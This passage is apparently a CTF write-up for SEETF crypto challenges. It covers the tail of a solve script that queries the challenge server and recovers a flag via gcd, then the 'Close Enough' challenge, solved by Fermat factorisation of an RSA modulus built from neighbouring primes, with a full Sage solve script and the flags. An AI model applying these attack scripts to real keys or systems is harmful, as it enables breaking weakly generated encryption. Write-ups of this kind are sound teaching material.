base = 1.042136251760143366506601807791988359319192691917171290357448975749297374332472918910336805121784438281032305192209641733246059254524343284842603532996893119630072194458573013182932211946066537154955757274996373792440408972772708612077293733088200523229587153426763869162843302917457460893081839309369693718313098014501280069768531917574936731772140218047013318220556767781460996826455691622726550851494076382147744402895756978565209185302235414692929592677548505590430613815557144449326412657065984e498
for i in range(3):
x = base+i*100
m2 = ceil(x.nth_root(3))
m1 = m2^3
r = remote('fun.chall.seetf.sg', 30004)
r.sendlineafter(b'(as integer) : ', str(m1).encode())
r.sendlineafter(b'(as integer) : ', str(m2).encode())
r.recvuntil(b'Ciphers: ')
out = eval(r.recvuntil(b']'))
ciphers.append(out)
x1 = ciphers[0][1]^3 - ciphers[0][0]
x2 = ciphers[1][1]^3 - ciphers[1][0]
x3 = ciphers[2][1]^3 - ciphers[2][0]
flag = gcd(gcd(x1, x2), x3)
while True:
try:
print('------------------------')
flag = flag.nth_root(2)
print(long_to_bytes(flag))
except:
break
|
Result
Flag: SEE{common_moduli_with_common_exponents_daf4ede8dda5c}
Close Enough
1
2
3
4
5
|
Author: TheMythologist
My prof mentioned something about not using primes that are close to each other in RSA, but it's close enough, isn't it?
Ciphertext is 4881495507745813082308282986718149515999022572229780274224400469722585868147852608187509420010185039618775981404400401792885121498931245511345550975906095728230775307758109150488484338848321930294974674504775451613333664851564381516108124030753196722125755223318280818682830523620259537479611172718588812979116127220273108594966911232629219195957347063537672749158765130948724281974252007489981278474243333628204092770981850816536671234821284093955702677837464584916991535090769911997642606614464990834915992346639919961494157328623213393722370119570740146804362651976343633725091450303521253550650219753876236656017
|
Initial Analysis
We were given two attached files, the encryption script and the public key. Let’s check it
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
from Crypto.Util.number import getPrime, bytes_to_long
from Crypto.PublicKey import RSA
from secret import flag, getNextPrime
p = getPrime(1024)
q = getNextPrime(p)
n = p * q
e = 65537
key = RSA.construct((n, e)).export_key().decode()
with open("key", "w") as f:
f.write(key)
m = bytes_to_long(flag.encode())
c = pow(m, e, n)
print(f"c = {c}")
|
So, we can notice that the prime that is being used is very close, which mean that we can easily factor it using the fermat attack. The base of fermat method is based on this equation. Suppose that,
$$
N = a^{2}-b^{2}
$$
then, we can transform it into
$$
N = (a+b)(a-b)
$$
and because it is close, we can assume that b is small, so that in order to factorize the $N$, we can simply square root the $N$ to initialize our $a$ value, and then try to increase its value until $a^{2}-N$ is a square number, which mean we found $b^{2}$.
Solution
Below is the solution script that we use (sage script)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
# Retrieved from https://facthacks.cr.yp.to/fermat.html
def fermatfactor(N):
if N <= 0: return [N]
if is_even(N): return [2,N/2]
a = ceil(sqrt(N))
while not is_square(a^2-N):
a = a + 1
b = sqrt(a^2-N)
return [a - b,a + b]
pub = RSA.importKey(open("key", "rb").read(), passphrase=None)
e = pub.e
n = pub.n
c = 4881495507745813082308282986718149515999022572229780274224400469722585868147852608187509420010185039618775981404400401792885121498931245511345550975906095728230775307758109150488484338848321930294974674504775451613333664851564381516108124030753196722125755223318280818682830523620259537479611172718588812979116127220273108594966911232629219195957347063537672749158765130948724281974252007489981278474243333628204092770981850816536671234821284093955702677837464584916991535090769911997642606614464990834915992346639919961494157328623213393722370119570740146804362651976343633725091450303521253550650219753876236656017
p, q = fermatfactor(n)
d = inverse_mod(e, (p-1)*(q-1))
print(long_to_bytes(int(pow(c,d,n))))
|
Result
Flag: SEE{i_love_really_secure_algorithms_b5c0b187fe309af0f4d35982fd961d7e}
Follow me on twitter
